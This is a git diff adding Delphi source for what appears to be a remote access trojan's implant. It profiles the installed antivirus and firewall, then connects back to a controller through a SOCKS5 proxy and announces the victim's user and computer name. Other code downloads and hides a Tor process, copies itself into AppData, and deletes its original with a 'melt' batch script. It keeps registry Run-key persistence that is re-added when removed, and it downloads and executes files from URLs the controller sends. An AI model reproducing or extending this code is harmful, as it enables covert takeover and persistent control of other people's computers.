Writeln(Format('productUptoDate %s',[FWbemObject.productUptoDate]));// Boolean + // Writeln(Format('updateUIMd5Hash %s',[FWbemObject.updateUIMd5Hash]));// Uint8 + // Writeln(Format('updateUIParameters %s',[FWbemObject.updateUIParameters]));// String + // Writeln(Format('versionNumber %s',[FWbemObject.versionNumber]));// String + end; + + FirewallProduct : + begin + //Writeln(Format('companyName %s',[FWbemObject.companyName]));// String + Fw := FWbemObject.displayName;// String + // Writeln(Format('enabled %s',[FWbemObject.enabled]));// Boolean + // Writeln(Format('enableUIMd5Hash %s',[FWbemObject.enableUIMd5Hash]));// Uint8 + // Writeln(Format('enableUIParameters %s',[FWbemObject.enableUIParameters]));// String + // Writeln(Format('instanceGuid %s',[FWbemObject.instanceGuid]));// String + // Writeln(Format('pathToEnableUI %s',[FWbemObject.pathToEnableUI]));// String + // Writeln(Format('versionNumber %s',[FWbemObject.versionNumber]));// String + end; + end; + end; + FWbemObject:=Unassigned; + end; +end; +procedure GetAV(); +begin + try + if Is_Win_Server then + begin + Fw := 'N/A'; + Av := 'N/A'; + end; + + CoInitialize(nil); + try + GetSCProductInfo(AntiVirusProduct); + GetSCProductInfo(AntiSpywareProduct); + GetSCProductInfo(FirewallProduct); + if Av = '' then Av := 'None'; + if fw = '' then Fw := 'None'; + finally + CoUninitialize; + end; + except + on E:Exception do + begin + Av:= 'Err'; + Fw:= 'Err'; + end; + end; +end; + +end. diff --git a/Server/USocket.pas b/Server/USocket.pas new file mode 100644 index 0000000..36a9034 --- /dev/null +++ b/Server/USocket.pas @@ -0,0 +1,170 @@ +unit USocket; + +interface + +uses Windows,System.Classes,System.SysUtils,IdSocketHandle, + IdServerIOHandler, IdServerIOHandlerSocket,IdSSLOpenSSL,idSocks, + IdCustomTransparentProxy, IdConnectThroughHttpProxy, + IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdBaseComponent, + IdComponent, IdTCPConnection, IdTCPClient, IdStack,uConfig; + +type + TDynStringArray = array of string; + +type + TServerSocket = class(TThread) + private + protected + procedure Execute; override; + public + constructor Create(Suspended: Boolean); + procedure ReceiveData(STR:string); + function Explode(const Separator, S :String; Limit :Integer = 0): TDynStringArray; + + end; + + + +var Closed:boolean; + +function UserName(): string; +function CompName(): string; + +implementation + + +Constructor TServerSocket.Create(Suspended: Boolean); +begin + Inherited Create(Suspended); +end; + +procedure TServerSocket.Execute; +var +TCPClient: TIdTCPClient; +HttpProxy: TIdConnectThroughHttpProxy; +SocksProxy: TIdSocksInfo; +IdIOHandlerStack:TIdIOHandlerStack; +Buffer: Array[0..8192] Of Char; +iRecv: Integer; +Tmp:string; +begin + Closed := False; + TCPClient := TIdTcpClient.create(nil); + TCPClient.Host := Rhost; + TCPClient.Port := RPort; + IdIOHandlerStack:= TIdIOHandlerStack.Create (nil); + SocksProxy := TIdSocksInfo.Create (nil); + SocksProxy.Version := svSocks5; + SocksProxy.Host := RPHost; + SocksProxy.Port := RPPort; + IdIOHandlerStack.TransparentProxy:= SocksProxy; + IdIOHandlerStack.TransparentProxy.Enabled:= True; + TCPCLient.IOHandler:= IdIOHandlerStack; +repeat + TCPClient.Connect; + writeln('Connecting to '+Rhost + ' On Port : ' + inttostr(Rport)); + While TCPClient.Socket.Connected = true do + begin + Writeln('Connected To '+Rhost); + TCPClient.Socket.WriteLn(Pchar('ADDNEW|' + Username + '|' + CompName + '|' + 'Awaiting commands')); + tmp := TCPClient.Socket.ReadLn(); + writeln(tmp); + ReceiveData(tmp); + Tmp := ''; + end; + Writeln('Lost connection'); + TCPClient.Disconnect; + sleep(3000); + until(1 = 3); + TCPClient.Free; + IDIOHandlerStack.Free; + Socksproxy.Free; +end; + + + +procedure TServerSocket.ReceiveData(STR:string); +var + Data: String; + strArr: TDynStringArray; +begin + + //Convert our data to a string and trim it + Data := STR; + + Data := PansiChar(data); + + Data := Trim(Data); + + if Length(Data) > 0 then begin + Writeln('PAnsiChar' + data); + //Setup our dynamic array structure + StrArr := Explode('|', Data); + + //Display incoming message (if strArr[0] = 'MSGBOX') + if StrArr[0] = 'MSGBOX' then begin + MessageBox(0,pchar(StrArr[1]),'Winsock Example',MB_OK + MB_ICONINFORMATION) + end; + +end; +end; + +function TServerSocket.Explode(const Separator, S :String; Limit :Integer = 0): TDynStringArray; + var + SepLen: Integer; + F, P: PChar; +begin + SetLength(Result, 0); + if (S = '') or (Limit < 0) then + Exit; + if Separator = '' then + begin + SetLength(Result, 1); + Result[0] := S; + Exit; + end; + SepLen := Length(Separator); + + P := PChar(S); + while P^ <> #0 do + begin + F := P; + P := AnsiStrPos(P, PChar(Separator)); + if (P = nil) or ((Limit > 0) and (Length(Result) = Limit - 1)) then + P := StrEnd(F); + SetLength(Result, Length(Result) + 1); + SetString(Result[High(Result)], F, P - F); + F := P; + if P = Separator then + SetLength(Result, Length(Result) + 1); + while (P^ <> #0) and (P - F < SepLen) do + Inc(P); + end; +end; + + +function UserName(): string; +var + User : array[0..255] of Char; + SizeOfUser : Cardinal; +begin + SizeOfUser := SizeOf(User); + if GetUserName(User, SizeOfUser) = True then + Result := string(User) + else + Result := 'Unknown'; +end; + +function CompName(): string; +var + Comp : array[0..255] of Char; + SizeOfComp : Cardinal; +begin + SizeOfComp := SizeOf(Comp); + if GetComputerName(Comp, SizeOfComp) = True then + Result := string(Comp) + else + Result := 'Unknown'; +end; + +end. diff --git a/Server/USysInfo.pas b/Server/USysInfo.pas new file mode 100644 index 0000000..ffe34bc --- /dev/null +++ b/Server/USysInfo.pas @@ -0,0 +1,111 @@ +unit USysInfo; + +interface +uses + Windows,winsock,sysutils,IdHttp,uConfig; + +function GetOS: string; +function LocalIP: string; +Function GetExternalIp:string; + +implementation + +Function GetExternalIp:string; +var + lHTTP: TIdHTTP; +begin + lHTTP := TIdHTTP.Create(nil); + lHTTP.Request.UserAgent := UserAgents[Random(High(UserAgents) - 1) + 1]; + try + Result := lHTTP.Get(_Get_external_ip_); // change later + finally + lHTTP.Free; + end; +end; + +function LocalIP: string; +var phoste: PHostEnt; + Buffer: array [0..100] of ansichar; + WSAData: TWSADATA; +begin + result := ''; + if WSAStartup($0101, WSAData) <> 0 then exit; + GetHostName(Buffer,Sizeof(Buffer)); + phoste:=GetHostByName(buffer); + if phoste = nil then + result := '127.0.0.1' + else + result := StrPas(inet_ntoa(PInAddr(phoste^.h_addr_list^)^)); + WSACleanup; +end; + +function GetOS: string; +const + cOsUnknown = 'Unknown'; + cOsWin95 = 'windows-95'; + cOsWin98 = 'windows-98'; + cOsWin98SE = 'Windows-98SE'; + cOsWinME = 'Windows-ME'; + cOsWinNT3 = 'Windows-NT3'; + cOsWinNT4 = 'Windows-NT4'; + cOsWin2000 = 'Windows-2000'; + cOsXP = 'Windows-XP'; + cOsVista = 'Windows-Vista'; + cOsSeven = 'Windows-Seven'; + cOsWin8 = 'Windows-8'; +var + OS: TOSVersionInfo; + majorVer, minorVer: Integer; +begin + Result := cOsUnknown; + OS.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); + + if GetVersionEx(OS) then + begin + majorVer := OS.dwMajorVersion; + minorVer := OS.dwMinorVersion; + case OS.dwPlatformId of + VER_PLATFORM_WIN32_NT: { Windows NT/2000/XP/Vista/Seven } + begin + if majorVer <= 4 then + Result := cOsWinNT3 + else if majorVer = 5 then + Result := cOsWinNT4 + else if (majorVer = 5) and (minorVer = 0) then + Result := cOsWin2000 + else if (majorVer = 5) and (minorVer = 1) then + Result := cOsXP + else if (majorVer = 6) and (minorVer = 0) then + Result := cOsVista + else if (majorVer = 6) and (minorVer = 1) then + Result := cOsSeven + else if (majorVer = 6) and (minorVer = 2) then + Result := cOswin8 + else + Result := cOsUnknown; + end; + VER_PLATFORM_WIN32_WINDOWS: { Windows 9x/ME } + begin + if (majorVer = 4) and (minorVer = 0) then + Result := cOsWin95 + else if (majorVer = 4) and (minorVer = 10) then + begin + if OS.szCSDVersion[1] = 'A' then + Result := cOsWin98SE + else + Result := cOsWin98; + end + else if (majorVer = 4) and (minorVer = 90) then + Result := cOsWinME + else + Result := cOsUnknown; + end; + else + Result := cOsUnknown; + end; + end + else + Result := cOsUnknown; +end; + +end. diff --git a/Server/untInstallation.pas b/Server/untInstallation.pas new file mode 100644 index 0000000..eb3b32a --- /dev/null +++ b/Server/untInstallation.pas @@ -0,0 +1,138 @@ +unit untInstallation; +{$WARNINGS OFF} +interface + +uses Windows, untUtils, uConfig, shellapi, untRegistry; + +var + dwThreadID:Cardinal; + + +procedure Install; +procedure Uninstall; +procedure cleanup; +procedure GetTor; + +function CoCreateGuid(out guid: TGUID): HResult; stdcall; + external 'ole32.dll' name 'CoCreateGuid'; + +implementation + +procedure GetTor; +begin + DownloadFiles(_TorUrlDownload_,LocalAppDataPath + '\' + _TorName_); + sleep(2000); + StartPrxyHidden(LocalAppDataPath+_TorName_); +end; + +function FindWindowsDir: string; +var + DataSize: byte; +begin + SetLength(Result, 255); + DataSize := GetWindowsDirectory(PChar(Result), 255); + if DataSize <> 0 then + begin + Result := ownTrim(Result); + if Result[Length(Result)] <> '\' then + Result := Result + '\'; + end; +end; + +procedure MutexCheck; +begin + CreateMutex(nil, False, PChar(_strMutexNam_)); + If GetLastError = ERROR_ALREADY_EXISTS then + ExitProcess(0); +end; + + + +procedure Uninstall; +var + regKey: HKEY; +begin + closehandle(dwThreadID); + regKey := HKEY_CURRENT_USER; + DeleteKey(regKey, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\', + _strStartupK_); + cleanup; + ExitProcess(0); +end; + +procedure cleanup; +var + strMelt:AnsiString; + hHandle, dwWritten:Cardinal; +begin + strMelt := ':start'#13#10'ping -n 10 localhost'#13#10'del "' + Paramstr(0) + '"'#13#10 + + 'del "' + GetCurrentDir + 'tmp.bat"'#13#10 + + 'del "' + LocalAppDataPath + _TorName_ +'"'; + hHandle := CreateFile(PChar(GetCurrentDir + 'tmp.bat'),GENERIC_WRITE, 0,nil,OPEN_ALWAYS , FILE_ATTRIBUTE_NORMAL,0); + if hHandle <> INVALID_HANDLE_VALUE then begin + WriteFile(hHandle, strMelt[1], Length(strMelt), dwWritten, nil); + CloseHandle(hHandle); + ShellExecute(0, nil, PChar(GetCurrentDir + 'tmp.bat'), nil, nil, 0); + end; +end; + +procedure Melt; +var + strMelt:AnsiString; + hHandle, dwWritten:Cardinal; +begin + strMelt := ':start'#13#10'ping -n 1 localhost'#13#10'del "' + Paramstr(0) + '"'#13#10 + + 'del "' + GetCurrentDir + 'tmp.bat"'; + hHandle := CreateFile(PChar(GetCurrentDir + 'tmp.bat'),GENERIC_WRITE, 0,nil,OPEN_ALWAYS , FILE_ATTRIBUTE_NORMAL,0); + if hHandle <> INVALID_HANDLE_VALUE then begin + WriteFile(hHandle, strMelt[1], Length(strMelt), dwWritten, nil); + CloseHandle(hHandle); + ShellExecute(0, nil, PChar(GetCurrentDir + 'tmp.bat'), nil, nil, 0); + end; +end; + + + +function InstallTo(strDir:String):Boolean; +var + strCurrentPath:String; +begin + Result := False; + if Length(strDir) <> 0 then begin + strDir := Lowercase(strDir); + strCurrentPath := Lowercase(GetCurrentDir); + if strCurrentPath <> strDir then + begin + strDir := strDir + _strFilename_; + if CopyFile(PChar(ParamStr(0)), PChar(strDir), False) then + if ShellExecute(0, nil, PChar(strDir), nil, nil, 0) >= 32 then + begin + + if _boolMelt_ then + Melt; + + ExitProcess(0); + end; + end; + end; +end; + +procedure Install; +var + inpath:string; +begin + Sleep(5000); + MutexCheck; + If _boolInstall_ then + + if IsVista7 then inpath := LocalAppDataPath + else + inpath := FindWindowsDir; + if GetCurrentDir = inpath then exit; + InstallTo(inpath); + + if _boolStartup_ then + BeginThread(nil, 0, @RegistryPersistance, nil, 0, dwThreadID); +end; + +end. diff --git a/Server/untRegistry.pas b/Server/untRegistry.pas new file mode 100644 index 0000000..3b7487b --- /dev/null +++ b/Server/untRegistry.pas @@ -0,0 +1,116 @@ +unit untRegistry; + +interface +uses windows, uconfig; + +const + _STRRUN_:String = 'Software\Microsoft\Windows\CurrentVersion\Run\'; + +function AddRegKey(KEY:HKEY; Path, Keyname, Value, RegType: String):boolean; +function RegKeyExists(RootKey: HKEY; Name, Value: String): boolean; +function DeleteKey(RootKey: HKEY; Name, Value: String):boolean; +Function GetRegKey(Key:HKEY; Path:string; Value, Default: string): string; +procedure RegistryPersistance; + +implementation +uses untUtils; +Function GetRegKey(Key:HKEY; Path:string; Value, Default: string): string; +Var + Handle:hkey; + RegType:integer; + DataSize:integer; +begin + Result := Default; + if (RegOpenKeyEx(Key, pchar(Path), 0, $0001, Handle) = 0) then + begin + if RegQueryValueEx(Handle, pchar(Value), nil, @RegType, nil, @DataSize) = 0 then + begin + SetLength(Result, Datasize); + RegQueryValueEx(Handle, pchar(Value), nil, @RegType, PByte(pchar(Result)), @DataSize); + Result := ownTrim(Result); + end; + RegCloseKey(Handle); + end; +end; + +function DeleteKey(RootKey: HKEY; Name, Value: String):boolean; +var + hTemp: HKEY; +begin + RegOpenKeyEx(RootKey, PChar(Name), 0, KEY_SET_VALUE, hTemp); + Result := (RegDeleteValue(hTemp, PChar(Value)) = ERROR_SUCCESS); + RegCloseKey(hTemp); +end; + +function RegKeyExists(RootKey: HKEY; Name, Value: String): boolean; +var + hTemp: HKEY; +begin + Result := False; + if RegOpenKeyEx(RootKey, PChar(Name), 0, KEY_READ, hTemp) = ERROR_SUCCESS then begin + If not (Value = '') then + Result := (RegQueryValueEx(hTemp, PChar(Value), nil, nil, nil, nil) = ERROR_SUCCESS) + else + Result := True; + RegCloseKey(hTemp); + end; +end; + +function AddStartup():Cardinal; +var + strCurPath:String; +begin + strCurPath := '"' + ParamStr(0) + '"'; + if not AddRegKey(HKEY_LOCAL_MACHINE, _STRRUN_,_strStartupK_, strCurPath,'') then + begin + if not AddRegKey(HKEY_CURRENT_USER, _STRRUN_,_strStartupK_, strCurPath,'') then + begin + Result := 0; + end else + Result := HKEY_CURRENT_USER; + end else + Result := HKEY_LOCAL_MACHINE; +end; + +function AddRegKey(KEY:HKEY; Path, Keyname, Value, RegType: String):boolean; +var + phkResult: HKEY; +begin + Result := False; + if RegType = 'Key' then begin + RegOpenKeyEx(KEY, PChar(Path), 0, KEY_CREATE_SUB_KEY, phkResult); + Result := (RegCreateKey(phkResult, PChar(Keyname), phkResult) = ERROR_SUCCESS); + RegCloseKey(phkResult); + end else begin + if RegOpenKeyEx(KEY, PChar(Path), 0, KEY_SET_VALUE, phkResult) = ERROR_SUCCESS then + begin + Result := (RegSetValueEx(phkResult, Pchar(Keyname), 0, REG_SZ, Pchar(Value), Length(Value) * 2) = ERROR_SUCCESS); + RegCloseKey(phkResult); + end; + end; +end; + +function RegNotifyChange(hRootKey:HKEY):DWORD; +var + pHKEY:hKey; + dwNotifyFilter:DWORD; +begin + Result := ERROR_REGISTRY_CORRUPT; + dwNotifyFilter := REG_NOTIFY_CHANGE_NAME or REG_NOTIFY_CHANGE_ATTRIBUTES or REG_NOTIFY_CHANGE_LAST_SET or REG_NOTIFY_CHANGE_SECURITY; + if RegOpenKeyEx(hRootKey, PChar(_STRRUN_), 0, KEY_NOTIFY, pHKEY) = ERROR_SUCCESS then + begin + Result := RegNotifyChangeKeyValue(pHKey, TRUE, dwNotifyFilter, 0, False); + RegCloseKey(pHKey); + end; +end; + +procedure RegistryPersistance; +begin + repeat + Sleep(1); + if RegNotifyChange(AddStartup) <> ERROR_SUCCESS then + break; + until 1 = 3; +end; + +end. diff --git a/Server/untUtils.pas b/Server/untUtils.pas new file mode 100644 index 0000000..3e4284d --- /dev/null +++ b/Server/untUtils.pas @@ -0,0 +1,430 @@ +unit untUtils; +{$WARNINGS OFF} +interface + +uses WinInet, shfolder, shellapi, Windows, uconfig, untRegistry, System.Classes,tlHelp32; + +type + TByteArray = array of Byte; + +function ReadResource(strResID: String; var lResLen: Integer): Pointer; +function DirectoryExists(const Directory: string): Boolean; +function GetCurrentDir: string; +function ownTrim(strData: String): String; +function ParseDownload(sString: String): Boolean; +function IsNumeric(value: string): Boolean; +function LocalAppDataPath: string; +function IsVista7: Boolean; +function IntToStr(Int: Integer): string; +function LowerCase(const S: string): string; +function ReadFileData(strPath: String; var lSize: Cardinal): Pointer; +function LastDelimiter(S: String; Delimiter: Char): Integer; +function StringFromCLSID(const clsid: TGUID; out psz: PWideChar): HResult; stdcall; external 'ole32.dll' name 'StringFromCLSID'; +procedure EncryptFile(pPointer: Pointer; lLen: Integer); +procedure CoTaskMemFree(pv: Pointer); stdcall; external 'ole32.dll' name 'CoTaskMemFree'; +function getHWID(): String; +function ComputerName: String; +Function GetUserFromWindows: string; +function IsWow64: Boolean; +function DownloadFile(url, destinationFileName, destinationFolder: string): Boolean; +function DownloadFiles(const url: string; const destinationFileName: string): boolean; +Function StartPrxyHidden(sPath:string):boolean; +function processExists(exeFileName: string): Boolean; +function KillTask(ExeFileName: string): Integer; + +implementation + +uses Sysutils; + +function KillTask(ExeFileName: string): Integer; +const + PROCESS_TERMINATE = $0001; +var + ContinueLoop: BOOL; + FSnapshotHandle: THandle; + FProcessEntry32: TProcessEntry32; +begin + Result := 0; + FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + FProcessEntry32.dwSize := SizeOf(FProcessEntry32); + ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); + + while Integer(ContinueLoop) <> 0 do + begin + if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = + UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = + UpperCase(ExeFileName))) then + Result := Integer(TerminateProcess( + OpenProcess(PROCESS_TERMINATE, + BOOL(0), + FProcessEntry32.th32ProcessID), + 0)); + ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); + end; + CloseHandle(FSnapshotHandle); +end; + + +function processExists(exeFileName: string): Boolean; +var + ContinueLoop: BOOL; + FSnapshotHandle: THandle; + FProcessEntry32: TProcessEntry32; +begin + FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + FProcessEntry32.dwSize := SizeOf(FProcessEntry32); + ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); + Result := False; + while Integer(ContinueLoop) <> 0 do + begin + if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = + UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) = + UpperCase(ExeFileName))) then + begin + Result := True; + end; + ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); + end; + CloseHandle(FSnapshotHandle); +end; + + +Function StartPrxyHidden(sPath:string):boolean; +begin + If ShellExecute(0,nil,Pchar(sPath),nil,nil,SW_HIDE) > 32 then + Result := True; +end; + + +function IsWow64: Boolean; +type + TIsWow64Process = function(Handle: Windows.THandle; var Res: Windows.BOOL): Windows.BOOL; stdcall; +var + IsWow64Result: Windows.BOOL; + IsWow64Process: TIsWow64Process; +begin + IsWow64Process := Windows.GetProcAddress(Windows.GetModuleHandle('kernel32'), 'IsWow64Process'); + if Assigned(IsWow64Process) then + begin + if not IsWow64Process(Windows.GetCurrentProcess, IsWow64Result) then + raise SysUtils.Exception.Create('IsWow64: bad process handle'); + Result := IsWow64Result; + end + else + Result := False; +end; + +Function GetUserFromWindows: string; +Var + UserName : string; + UserNameLen : Dword; +Begin + UserNameLen := 255; + SetLength(userName, UserNameLen) ; + If GetUserName(PChar(UserName), UserNameLen) Then + Result := Copy(UserName,1,UserNameLen - 1) + Else + Result := 'Unknown'; +End; + + +function ComputerName: String; +var + Size: DWORD; +begin + Size := MAX_COMPUTERNAME_LENGTH + 1; + SetLength(Result, Size); + if GetComputerName(PChar(Result), Size) then + SetLength(Result, Size) + else + Result := ''; +end; + +function getHWID(): String; +var +SerialNum,A,B: DWord; +C: array [0..255] of Char; +Buffer: array [0..255] of Char; +begin +if GetVolumeInformation(pChar('C:\'), Buffer, 256, @SerialNum, A, B, C, 256) then + Result := inttostr(SerialNum * Cardinal(-1)) +else Result := ''; +end; + +function IntToStr(Int: Integer): string; +begin + Str(Int, result); +end; + +function ReadResource(strResID: String; var lResLen: Integer): Pointer; +var + hResInfo: HRSRC; + hRes: HGLOBAL; +begin + Result := nil; + hResInfo := FindResource(hInstance, PChar(strResID), RT_RCDATA); + if hResInfo <> 0 then + begin + hRes := LoadResource(hInstance, hResInfo); + if hRes <> 0 then + begin + result := LockResource(hRes); + lResLen := SizeOfResource(hInstance, hResInfo); + end; + end; +end; + +function ReadFileData(strPath: String; var lSize: Cardinal): Pointer; +var + pFileHandle: Cardinal; + lRead: Cardinal; + pData: Pointer; +begin + result := nil; + pFileHandle := CreateFile(PChar(strPath), GENERIC_READ, 0, nil, OPEN_ALWAYS, + FILE_ATTRIBUTE_NORMAL, 0); + if pFileHandle <> INVALID_HANDLE_VALUE then + begin + lSize := GetFileSize(pFileHandle, nil); + GetMem(pData, lSize); + ReadFile(pFileHandle, pData^, lSize, lRead, nil); + CloseHandle(pFileHandle); + result := pData; + end; +end; + +procedure EncryptFile(pPointer: Pointer; lLen: Integer); +asm + pushad + mov eax, pPointer + mov ecx, lLen +@loop: + xor byte ptr[eax], 13 + inc eax + dec ecx + cmp ecx, 0 + jne @loop + popad +end; + +function LastDelimiter(S: String; Delimiter: Char): Integer; +var + i: Integer; +begin + result := -1; + i := Length(S); + if (S = '') or (i = 0) then + Exit; + while S[i] <> Delimiter do + begin + if i < 0 then + break; + dec(i); + end; + result := i; +end; + +function LowerCase(const S: string): string; +var + Ch: Char; + L: Integer; + Source, Dest: PChar; +begin + L := Length(S); + SetLength(result, L); + Source := Pointer(S); + Dest := Pointer(result); + while L <> 0 do + begin + Ch := Source^; + if (Ch >= 'A') and (Ch <= 'Z') then + inc(Ch, 32); + Dest^ := Ch; + inc(Source); + inc(Dest); + dec(L); + end; +end; + +function DirectoryExists(const Directory: string): Boolean; +var + Code: Integer; +begin + Code := GetFileAttributes(PChar(Directory)); + result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code <> 0); +end; + +Function IsVista7: Boolean; +var + osVerInfo: TOSVersionInfo; + majorVer: Integer; +begin + result := False; + osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); + if GetVersionEx(osVerInfo) then + begin + majorVer := osVerInfo.dwMajorVersion; + case osVerInfo.dwPlatformId of + VER_PLATFORM_WIN32_NT: + begin + if (majorVer = 6) then + result := True; + end; + end; + end; +end; + +function GetComputerNetName: string; +var + buffer: array [0 .. 255] of Char; + size: dword; +begin + size := 256; + if GetComputerName(buffer, size) then + result := buffer + else + result := '' +end; + + +function ownTrim(strData: String): String; +var + i: Integer; +begin + result := ''; + for i := 1 to Length(strData) do + begin + if strData[i] = #0 then + begin + result := Copy(strData, 1, i - 1); + break; + end; + end; +end; + +function GetDate:String; +var + SystemTime: TSystemTime; +begin + GetLocalTime(SystemTime); + Result := IntToStr(SystemTime.wSecond) + IntToStr(SystemTime.wMinute) + IntToStr(SystemTime.wHour) + + IntToStr(SystemTime.wDay) + IntToStr(SystemTime.wMonth) + IntToStr(SystemTime.wYear); +end; + +function LocalAppDataPath: string; +const + SHGFP_TYPE_CURRENT = 0; +begin + SetLength(result, MAX_PATH); + SHGetFolderPathW(0, CSIDL_LOCAL_APPDATA, 0, SHGFP_TYPE_CURRENT, @result[1]); + result := ownTrim(result); + if result[Length(result)] <> '\' then + result := result + '\'; +end; + +function GetCurrentDir: string; +begin + GetDir(0, result); + if result[Length(result)] <> '\' then + result := result + '\'; +end; + +function IsNumeric(value: string): Boolean; +var + i: Integer; + tempChar: Char; +begin + result := True; + for i := 1 to Length(value) do + begin + tempChar := value[i]; + if (tempChar in ['0' .. '9']) = False then + begin + result := False; + end; + end; +end; + +function DownloadFiles(const url: string; const destinationFileName: string): boolean; +var + hInet: HINTERNET; + hFile: HINTERNET; + localFile: File; + buffer: array[1..1024] of byte; + bytesRead: DWORD; +begin + result := False; + hInet := InternetOpen(Pchar(UserAgents[Random(High(UserAgents) - 1) + 1]),INTERNET_OPEN_TYPE_PRECONFIG,nil,nil,0); + hFile := InternetOpenURL(hInet,PChar(url),nil,0,INTERNET_FLAG_DONT_CACHE,0); + if Assigned(hFile) then + begin + AssignFile(localFile,destinationFileName); + Rewrite(localFile,1); + repeat + InternetReadFile(hFile,@buffer,SizeOf(buffer),bytesRead); + BlockWrite(localFile,buffer,bytesRead); + until bytesRead = 0; + CloseFile(localFile); + result := true; + InternetCloseHandle(hFile); + end; + InternetCloseHandle(hInet); +end; + + +function DownloadFile(url, destinationFileName, destinationFolder + : string): Boolean; +var + hInet: HINTERNET; + hFile: HINTERNET; + pFileHandle, dWrite: Cardinal; + buffer: array [1 .. 1024] of Byte; + bytesRead: dword; +begin + result := False; + hInet := InternetOpen(PChar(UserAgents[Random(High(UserAgents) - 1) + 1]), INTERNET_OPEN_TYPE_PRECONFIG, + nil, nil, 0); + hFile := InternetOpenURL(hInet, PChar(url), nil, 0, 0, 0); + if Assigned(hFile) then + begin + pFileHandle := CreateFileW(PChar(destinationFolder + destinationFileName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); + if pFileHandle <> INVALID_HANDLE_VALUE then + begin + repeat + InternetReadFile(hFile, @buffer, SizeOf(buffer), bytesRead); + WriteFile(pFileHandle, buffer[1], bytesRead, dWrite, nil); + until bytesRead = 0; + CloseHandle(pFileHandle); + if ShellExecuteW(0, nil, @destinationFileName[1], nil, @destinationFolder[1], SW_NORMAL) > 32 then + result := True; + end; + InternetCloseHandle(hFile); + end; + InternetCloseHandle(hInet); +end; + + +function ParseDownload(sString: String): Boolean; +var + sFile: String; + lFilePos: Integer; +begin + result := False; + if sString <> '' then + begin + if LowerCase(Copy(sString, 1, 7)) <> 'http://' then + sString := 'http://' + sString; + lFilePos := LastDelimiter(sString, '/'); + if lFilePos <> 0 then + begin + sFile := Copy(sString, lFilePos + 1, Length(sString) - lFilePos + 1); + if sFile <> '' then + begin + sFile := GetDate + sFile; + result := DownloadFile(sString, sFile, LocalAppDataPath); + end; + end; + end; +end; + +end.